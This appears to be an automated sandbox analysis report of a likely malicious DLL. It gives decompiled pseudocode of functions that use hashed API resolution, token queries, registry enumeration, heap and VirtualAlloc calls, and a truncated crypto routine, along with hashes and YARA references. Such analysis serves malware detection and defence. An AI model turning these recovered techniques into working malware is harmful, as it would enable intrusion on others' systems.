0x6eec5beb
0x6eec5bf2
0x6eec5bfe
0x6eec5bff
0x6eec5c06
0x6eec5bf4
0x6eec5bf4
0x6eec5bf5
0x6eec5bf6
0x6eec5bf8
0x6eec5bfa
0x6eec5bfb
0x6eec5bfb
0x6eec5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6EEC5BAA

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction ID: f802e1652ebf774c9bb3056484b69c856ee2a25c2a12427efe401bc8bbe168db
Opcode Fuzzy Hash: 0fa86986c89fdfff574c3ac8d82252a53ce624ce43e07f87df1cda0750746311
Instruction Fuzzy Hash: 8201DF20394307BEEB5016914E51F7B7A9DEBD7A88F214868FA6066181EF6198098133

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC5B3D, Relevance: 1.6, APIs: 1, Instructions: 56
fileCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6EEC5B3D(void* __ebx, void* __ecx, void* __edx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t7;
				void* _t12;
				void* _t15;
				void* _t20;
				void* _t22;
				long _t23;
				WCHAR** _t24;
				intOrPtr* _t33;
				WCHAR** _t34;
				long _t38;
				void* _t40;
				void* _t41;

				_t34 = __edi;
				_t38 = 2;
				asm("adc ebp, 0x0");
				if(__ebx != 2) {
					_t7 = 3;
					_t22 = 0;
					_t23 =  ==  ? _t7 : _t22;
				} else {
					_t23 = 1;
				}
				if(E6EEC2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t20 = CreateFileW( *_t34, 0xc0000000, _t23, 0, _t38, _a44, 0); // executed
					_push(_t20);
				}
				_t24 =  &(_t34[3]);
				E6EEBC328(_t24);
				if(E6EEBC33C(_t24) != 0) {
					_t34[2] = E6EEC352C(0xc0000000);
					_t12 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t41 + 0x24)) == 2) {
						_t33 = E6EEC2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t33 != 0) {
							 *_t33( *_t24, 0, 0, 2);
						}
					}
					_t40 = _t41 + 8;
					E6EEC35D4(_t40, 0xff, 8);
					_t41 = _t41 + 0xc;
					_t15 = E6EEC2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t15 == 0) {
						_t12 = 1;
						L12:
						return _t12;
					} else {
						_push(_t40);
						_push(_t40);
						_push(0);
						_push( *_t24);
						asm("int3");
						return _t15;
					}
				}
			}

0x6eec5b3d
0x6eec5b44
0x6eec5b47
0x6eec5b75
0x6eec5b7e
0x6eec5b84
0x6eec5b85
0x6eec5b77
0x6eec5b79
0x6eec5b79
0x6eec5b9b
0x6eec5baf
0x6eec5b9d
0x6eec5baa
0x6eec5bac
0x6eec5bac
0x6eec5bb1
0x6eec5bb6
0x6eec5bc4
0x6eec5c2f
0x6eec5c32
0x00000000
0x6eec5bc6
0x6eec5bcb
0x6eec5c18
0x6eec5c1c
0x6eec5c26
0x6eec5c26
0x6eec5c1c
0x6eec5bcd
0x6eec5bd9
0x6eec5bde
0x6eec5beb
0x6eec5bf2
0x6eec5bfe
0x6eec5bff
0x6eec5c06
0x6eec5bf4
0x6eec5bf4
0x6eec5bf5
0x6eec5bf6
0x6eec5bf8
0x6eec5bfa
0x6eec5bfb
0x6eec5bfb
0x6eec5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6EEC5BAA

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction ID: d9b16ca478fd6695dd166fe218df338341dbf49b80dfea38729f1075d26d8655
Opcode Fuzzy Hash: 5b8d02cd4674f4ed770eb1c7c80a412027ed08d7cd8f65890b2514b95d1dd015
Instruction Fuzzy Hash: 7A014220390307BEEB1016A18F90F7B7A4EEBD3A48F304C68FA7066185EF21980C8133

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC5B1F, Relevance: 1.6, APIs: 1, Instructions: 52
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6EEC5B1F(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E6EEC2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0x100, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E6EEBC328(_t23);
				if(E6EEBC33C(_t23) != 0) {
					_t31[2] = E6EEC352C(0x100);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E6EEC2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E6EEC35D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E6EEC2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x6eec5b1f
0x6eec5b26
0x6eec5b75
0x6eec5b7e
0x6eec5b84
0x6eec5b85
0x6eec5b77
0x6eec5b79
0x6eec5b79
0x6eec5b9b
0x6eec5baf
0x6eec5b9d
0x6eec5baa
0x6eec5bac
0x6eec5bac
0x6eec5bb1
0x6eec5bb6
0x6eec5bc4
0x6eec5c2f
0x6eec5c32
0x00000000
0x6eec5bc6
0x6eec5bcb
0x6eec5c18
0x6eec5c1c
0x6eec5c26
0x6eec5c26
0x6eec5c1c
0x6eec5bcd
0x6eec5bd9
0x6eec5bde
0x6eec5beb
0x6eec5bf2
0x6eec5bfe
0x6eec5bff
0x6eec5c06
0x6eec5bf4
0x6eec5bf4
0x6eec5bf5
0x6eec5bf6
0x6eec5bf8
0x6eec5bfa
0x6eec5bfb
0x6eec5bfb
0x6eec5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6EEC5BAA

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction ID: 738e06b7842d126aae7c8a7dccc885956ffc757899569e6ed00ccd23fca62a83
Opcode Fuzzy Hash: c230670b004b2ad28e76934f353d99ed69517ec83133175e69b5ed079cd00cba
Instruction Fuzzy Hash: 3601D630394307BAEB5056918E51F6B7A5DDB97A48F300C6CFA7066185EF61941C8133

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC5B6D, Relevance: 1.6, APIs: 1, Instructions: 51
fileCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E6EEC5B6D(void* __ebx, void* __ecx, WCHAR** __edi, void* _a4, void* _a32, long _a44) {
				void* _t6;
				void* _t11;
				void* _t14;
				void* _t19;
				void* _t21;
				long _t22;
				WCHAR** _t23;
				intOrPtr* _t30;
				WCHAR** _t31;
				long _t35;
				void* _t37;
				void* _t38;

				_t31 = __edi;
				_t35 = 3;
				if(__ebx != 2) {
					_t6 = 3;
					_t21 = 0;
					_t22 =  ==  ? _t6 : _t21;
				} else {
					_t22 = 1;
				}
				if(E6EEC2F8C(0x4bcc7cba, 0x80c50a91) == 0) {
					_push(0);
				} else {
					_t19 = CreateFileW( *_t31, 0, _t22, 0, _t35, _a44, 0); // executed
					_push(_t19);
				}
				_t23 =  &(_t31[3]);
				E6EEBC328(_t23);
				if(E6EEBC33C(_t23) != 0) {
					_t31[2] = E6EEC352C(0);
					_t11 = 0;
					goto L12;
				} else {
					if( *((intOrPtr*)(_t38 + 0x24)) == 2) {
						_t30 = E6EEC2F8C(0x4bcc7cba, 0xceed09cc);
						if(_t30 != 0) {
							 *_t30( *_t23, 0, 0, 2);
						}
					}
					_t37 = _t38 + 8;
					E6EEC35D4(_t37, 0xff, 8);
					_t38 = _t38 + 0xc;
					_t14 = E6EEC2F8C(0x4bcc7cba, 0xaaa9bb);
					if(_t14 == 0) {
						_t11 = 1;
						L12:
						return _t11;
					} else {
						_push(_t37);
						_push(_t37);
						_push(0);
						_push( *_t23);
						asm("int3");
						return _t14;
					}
				}
			}

0x6eec5b6d
0x6eec5b71
0x6eec5b75
0x6eec5b7e
0x6eec5b84
0x6eec5b85
0x6eec5b77
0x6eec5b79
0x6eec5b79
0x6eec5b9b
0x6eec5baf
0x6eec5b9d
0x6eec5baa
0x6eec5bac
0x6eec5bac
0x6eec5bb1
0x6eec5bb6
0x6eec5bc4
0x6eec5c2f
0x6eec5c32
0x00000000
0x6eec5bc6
0x6eec5bcb
0x6eec5c18
0x6eec5c1c
0x6eec5c26
0x6eec5c26
0x6eec5c1c
0x6eec5bcd
0x6eec5bd9
0x6eec5bde
0x6eec5beb
0x6eec5bf2
0x6eec5bfe
0x6eec5bff
0x6eec5c06
0x6eec5bf4
0x6eec5bf4
0x6eec5bf5
0x6eec5bf6
0x6eec5bf8
0x6eec5bfa
0x6eec5bfb
0x6eec5bfb
0x6eec5bf2

APIs

CreateFileW.KERNELBASE(?,00000000,00000000,00000000,00000000,?,00000000,4BCC7CBA,80C50A91), ref: 6EEC5BAA

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction ID: 863065baaa4d5a5096cd4c000123f6ccb403c260d93d0a8c57eaf23af3c51c7f
Opcode Fuzzy Hash: f41fd778113157c199e1483cbf3e3356fcc1afe5b5c32d8304a410e71b511c74
Instruction Fuzzy Hash: 1CF0D134394307BAEA5016918E91F6B7A5DEB97A88F200C68FA7566181EF6194188132

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC5D7C, Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E6EEC5D7C(void* __ecx, intOrPtr _a4) {
				long _v16;
				long _t4;
				void* _t8;
				void** _t9;
				intOrPtr _t17;
				long* _t18;

				_push(_t16);
				_t8 = __ecx;
				_t17 = _a4;
				if(_t17 != 0) {
					asm("pxor xmm0, xmm0");
					asm("movq [esi], xmm0");
				}
				_t9 = _t8 + 0xc;
				if(E6EEBC33C(_t9) != 0) {
					L7:
					_t4 = 0;
					goto L10;
				} else {
					asm("stosd");
					asm("stosd");
					if(E6EEC2F8C(0x4bcc7cba, 0xceed09cc) == 0) {
						_t4 = 0;
					} else {
						_t4 = SetFilePointer( *_t9, 0,  &_v16, 1); // executed
					}
					if(_t4 != 0xffffffff) {
						if(_t17 != 0) {
							 *_t18 = _t4;
							asm("movq xmm0, [esp]");
							asm("movq [esi], xmm0");
						}
						L10:
						return _t4;
					} else {
						goto L7;
					}
				}
			}

0x6eec5d80
0x6eec5d81
0x6eec5d83
0x6eec5d89
0x6eec5d8b
0x6eec5d8f
0x6eec5d8f
0x6eec5d93
0x6eec5d9f
0x6eec5dd3
0x6eec5dd3
0x00000000
0x6eec5da1
0x6eec5da6
0x6eec5da7
0x6eec5dbb
0x6eec5dcc
0x6eec5dbd
0x6eec5dc8
0x6eec5dc8
0x6eec5dd1
0x6eec5dd9
0x6eec5ddb
0x6eec5dde
0x6eec5de3
0x6eec5de3
0x6eec5de7
0x6eec5dec
0x00000000
0x00000000
0x00000000
0x6eec5dd1

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001,CEED09CC,?,?,00000000,00000000,?,6EEC5CB4,?,?), ref: 6EEC5DC8

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction ID: e77339923fb5d73a39b27d37b9af70e16d0e72d781e332c008174c9895e4709c
Opcode Fuzzy Hash: 7634ac0c9d3648873fd736d4ea4b19d370915cdf3bd7e6405098399fd11748dd
Instruction Fuzzy Hash: 1BF07D31A28B1369D3905AB89E44BCB7BE4DFD6B1CF300F2DF5A0A7240E760944845A2

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC10CC, Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E6EEC10CC(void* __ecx) {
				void* _v36;
				void* _v44;
				int _t15;
				intOrPtr* _t21;
				void* _t24;
				intOrPtr* _t25;

				_t24 = __ecx;
				 *_t25 = 0;
				_t21 = E6EEC2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
				if(_t21 == 0) {
					L5:
					return 0;
				}
				_push(_t25);
				_push(8);
				_push(_t24);
				if( *_t21() == 0 || E6EEC2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458) == 0) {
					goto L5;
				} else {
					_t2 = _t25 + 8 - 4; // 0xd0443454
					_t15 = GetTokenInformation( *(_t25 + 0x10), 0x14, _t2, 4, _t25 + 8); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 0 |  *((intOrPtr*)(_t25 + 4)) != 0x00000000;
				}
			}

0x6eec10da
0x6eec10dc
0x6eec10ea
0x6eec10ee
0x6eec1137
0x00000000
0x6eec1137
0x6eec10f3
0x6eec10f4
0x6eec10f6
0x6eec10fb
0x00000000
0x6eec1114
0x6eec1118
0x6eec1125
0x6eec1129
0x00000000
0x00000000
0x00000000
0x6eec1132

APIs

GetTokenInformation.KERNELBASE(00000004,00000014,D0443454,00000004,D0443458,D0443458,D0443458), ref: 6EEC1125

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction ID: dfb49b88407fd0b3ec2b43a6c09ad0cc9b1b788759b66531282ff9b8633d2aaa
Opcode Fuzzy Hash: ad9c72b20c447e21fde483402609026f9e34a91fec1d63206d321a76ac7e48c5
Instruction Fuzzy Hash: 6EF0A4747042476BFB0495A88D14F7B32AD5BC5A04F60C82CB564DA244EB7CCC098322

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC55B8, Relevance: 1.5, APIs: 1, Instructions: 45
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EEC55B8(void* __ecx) {
				long _t9;
				char* _t11;
				void* _t16;
				int _t17;
				int _t18;
				int* _t19;

				_t18 = 0;
				_t17 = _t19[0x48];
				_t16 = __ecx;
				_t11 =  &(_t19[1]);
				 *_t17 = 0;
				 *((intOrPtr*)(_t17 + 4)) = 0;
				 *((intOrPtr*)(_t17 + 8)) = 0;
				while(1) {
					 *_t19 = 0x105;
					if(E6EEC2F8C(0xd0443458, 0x286b2253) == 0) {
						goto L4;
					}
					_t9 = RegEnumValueA( *(_t16 + 4), _t18, _t11, _t19, 0, 0, 0, 0); // executed
					if(_t9 == 0) {
						goto L4;
					}
					return _t17;
					L4:
					E6EEBE6E8(_t17, _t11,  *_t17);
					_t18 = _t18 + 1;
				}
			}

0x6eec55c2
0x6eec55c4
0x6eec55cb
0x6eec55cd
0x6eec55d1
0x6eec55d3
0x6eec55d6
0x6eec55d9
0x6eec55d9
0x6eec55f3
0x00000000
0x00000000
0x6eec5604
0x6eec5608
0x00000000
0x00000000
0x6eec5616
0x6eec5619
0x6eec561e
0x6eec5623
0x6eec5623

APIs

RegEnumValueA.KERNELBASE(?,00000001,?,00000000,00000000,00000000,00000000,00000000,D0443458,286B2253,?,?,D0443458,286B2253), ref: 6EEC5604

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: EnumValue
String ID:
API String ID: 2814608202-0
Opcode ID: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction ID: fe9537b4c38527ac6213685679003de64093123b525d834b99e0e178c0e96e20
Opcode Fuzzy Hash: 32541c393d7cf9c9ac655dde4adff585132c35c09fbad7829b6a85831b260ca8
Instruction Fuzzy Hash: FFF0C2B520070A6FE7249E5AED54CB7BBEDEBC5B18F10881DF0E643200DA30AC158AA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EEC3564, Relevance: 1.5, APIs: 1, Instructions: 42
memoryCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E6EEC3564(void* __ecx) {
				void* _t3;
				intOrPtr* _t8;
				void* _t12;

				_t12 = __ecx;
				if( *0x6eecd228 == 0xcd845700) {
					_t8 = E6EEC2F8C(0xa5eabdf8, 0xd926c223);
					 *0x6eecd22c = E6EEC2F8C(0xa5eabdf8, 0x9b42cb07);
					if( *0x6eecd228 == 0xcd845700) {
						 *_t8(2, 0, 0, 0, 0, 0); // executed
						 *0x6eecd228 = 0;
					}
				}
				_t3 = E6EEC2F8C(0xa5eabdf8, 0x80febacc);
				if(_t3 == 0) {
					return 0;
				} else {
					_push(_t12);
					_push(8);
					_push( *0x6eecd228);
					asm("int3");
					return _t3;
				}
			}

0x6eec356c
0x6eec3574
0x6eec35a7
0x6eec35b8
0x6eec35c3
0x6eec35ce
0x6eec35d0
0x6eec35d0
0x6eec35c3
0x6eec3580
0x6eec3587
0x6eec3597
0x6eec3589
0x6eec3589
0x6eec358a
0x6eec358c
0x6eec358e
0x6eec358f
0x6eec358f

APIs

RtlCreateHeap.NTDLL(00000002,00000000,00000000,00000000,00000000,00000000,A5EABDF8,9B42CB07,A5EABDF8,D926C223,?,?,00000000,6EEBDEB9,?,?), ref: 6EEC35CE

Memory Dump Source

Source File: 00000002.00000002.1041480154.000000006EEB1000.00000020.00020000.sdmp, Offset: 6EEB0000, based on PE: true

Associated: 00000002.00000002.1041464154.000000006EEB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041571392.000000006EECA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.1041582165.000000006EECD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.1041623714.000000006EECF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: c9dc8fc73bafc027757947b0ee68d37da6bc00e7cc593408e83e9427730da7a9
Instruction ID: f7ae1a768e6d24b322a64f07d26c7ca1743d0f466b148fba2d7e319c680020a7
Opcode Fuzzy Hash: c9dc8fc73bafc027757947b0ee68d37da6bc00e7cc593408e83e9427730da7a9
Instruction Fuzzy Hash: D7F0E972258746BDD2101AF6AD08D56BADCEFCAE2ABB0886CB570BB140D7244440C623

Uniqueness

Uniqueness Score: -1.00%

Function 027F1D89, Relevance: 1.4, APIs: 1, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 027F1EA8

Memory Dump Source

Source File: 00000002.00000002.1040408605.00000000027F0000.00000040.00000001.sdmp, Offset: 027F0000, based on PE: true

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0b9b42ba2fdb08c7cefa25f605df8f332aac007ccc48bea5617a17140e49e517
Instruction ID: 62de7dec24253c081e9a1b953b29979a2fe8d5d20839d4692673d26a69495539
Opcode Fuzzy Hash: 0b9b42ba2fdb08c7cefa25f605df8f332aac007ccc48bea5617a17140e49e517
Instruction Fuzzy Hash: EF41E2B1E05219CFDB44DFA8C4946AEBBF1BF48314F15852EE508AB340D375A840CF94

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6EEB9144, Relevance: 2.4, Strings: 1, Instructions: 1104
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E6EEB9144(intOrPtr __ecx, intOrPtr __edx, void* __eflags) {
				intOrPtr _v20;
				intOrPtr _v40;
				char _v60;
				intOrPtr _v92;
				void* _v96;
				char _v100;
				char _v104;
				char _v108;
				intOrPtr _v112;
				signed int _v116;
				char _v128;
				intOrPtr _v132;
				void* _v136;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v156;
				char _v160;
				signed int _v164;
				char _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				char _v196;
				void* _v200;
				signed int _v204;
				char _v208;
				char _v212;
				char _v216;
				intOrPtr _v220;
				intOrPtr _v228;
				intOrPtr _v236;
				void* _v268;
				char _v292;
				char _v308;
				char _v316;
				char _v320;
				void* _v324;
				char _v332;
				char _v340;
				void* _v356;
				void* _v360;
				char _v364;
				char _v380;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				intOrPtr _v400;
				signed int _v404;
				char _v408;
				void* _v412;
				char _v416;
				signed int* _v420;
				char _v424;
				char _v428;
				char _v432;
				char _v436;
				intOrPtr _v440;
				signed int* _v444;
				char _v448;
				void* _v452;
				intOrPtr _v460;
				char _v464;
				void* _v468;
				char _v472;
				intOrPtr _v476;
				char _v480;
				void* _v484;
				char _v492;
				char _v496;
				void* _v500;
				char _v508;
				char _v516;
				signed int _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				void* _v548;
				char _v552;
				char _v556;
				char _v560;
				signed int _v564;
				signed int _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				signed int _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t437;
				intOrPtr _t442;
				signed int _t444;
				char* _t459;
				char _t534;
				signed int _t544;
				intOrPtr _t546;
				signed int _t550;
				signed int _t556;
				intOrPtr _t561;
				signed int _t567;
				char _t579;
				intOrPtr _t584;
				char _t585;
				intOrPtr _t589;
				char _t590;
				intOrPtr _t594;
				char _t595;
				intOrPtr _t599;
				char _t600;
				intOrPtr _t604;
				char _t605;
				intOrPtr _t609;
				signed int _t622;
				char _t629;
				intOrPtr _t633;
				signed char* _t635;
				signed int _t638;
				intOrPtr _t641;
				signed int* _t647;
				signed int* _t650;
				intOrPtr _t665;
				char* _t806;
				signed int* _t836;
				char* _t837;
				char* _t844;
				void* _t845;
				intOrPtr* _t854;
				signed int* _t856;
				intOrPtr* _t857;
				signed int* _t858;
				signed int* _t860;
				signed int* _t863;
				intOrPtr _t864;
				intOrPtr _t867;
				char _t868;
				signed int _t869;
				intOrPtr* _t872;
				intOrPtr* _t874;
				intOrPtr* _t875;
				intOrPtr* _t876;
				intOrPtr* _t877;
				intOrPtr* _t878;
				signed int* _t881;
				intOrPtr* _t882;
				char* _t907;
				void* _t935;
				char _t950;
				char _t951;
				intOrPtr* _t953;
				void* _t954;
				intOrPtr* _t955;
				void* _t957;

				_t957 = __eflags;
				_t953 =  &_v496;
				_t641 = __edx;
				_v40 = __ecx;
				_t951 =  *((intOrPtr*)(__ecx + 0xc));
				E6EEC2F8C(0x23627913, 0xae88daa3);
				_v496 = 0;
				E6EEBF620( &_v492, 0);
				_v480 = 0;
				_v476 = 0;
				E6EEBF620( &_v472, 0);
				_v528 = 0;
				E6EEBF620( &_v524, 0);
				_v392 = 0x4145240a;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x90], xmm0");
				E6EEBF8C4( &_v528, E6EEBF568( &_v528) + 0x10);
				E6EEBF558( &_v532, E6EEBF568( &_v532) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v540 = _v540 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v536 + 0x88)) = 0x22dc1034;
				asm("movq [ecx+0x90], xmm0");
				E6EEBF8C4( &_v536, E6EEBF568( &_v536) + 0x10);
				E6EEBF558( &_v540, E6EEBF568( &_v540) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v548 = _v548 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v544 + 0x88)) = 0xc06fd820;
				asm("movq [ecx+0x90], xmm0");
				E6EEBF8C4( &_v544, E6EEBF568( &_v544) + 0x10);
				E6EEBF558( &_v548, E6EEBF568( &_v548) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v556 = _v556 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v552 + 0x88)) = 0xa54975b2;
				asm("movq [ecx+0x90], xmm0");
				E6EEBF8C4( &_v552, E6EEBF568( &_v552) + 0x10);
				E6EEBF558( &_v556, E6EEBF568( &_v556) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v564 = _v564 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v560 + 0x88)) = 0x271e028;
				asm("movq [ecx+0x90], xmm0");
				E6EEBF8C4( &_v560, E6EEBF568( &_v560) + 0x10);
				E6EEBF558( &_v564, E6EEBF568( &_v564) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v572 = _v572 + 1;
				asm("pxor xmm0, xmm0");
				( &_v568)[0x22] = 0xf279aa39;
				asm("movq [ecx+0x90], xmm0");
				E6EEBF8C4( &_v568, E6EEBF568( &_v568) + 0x10);
				E6EEBF558( &_v572, E6EEBF568( &_v572) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t953 =  *_t953 + 1;
				E6EEC413C(0xa5eabdf8, _t953);
				E6EEBF558( &_v576, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x4c], xmm0");
				E6EEBF558( &_v580, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x54], xmm0");
				E6EEBF558( &_v584, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x64], xmm0");
				E6EEBF558( &_v588, 0x30);
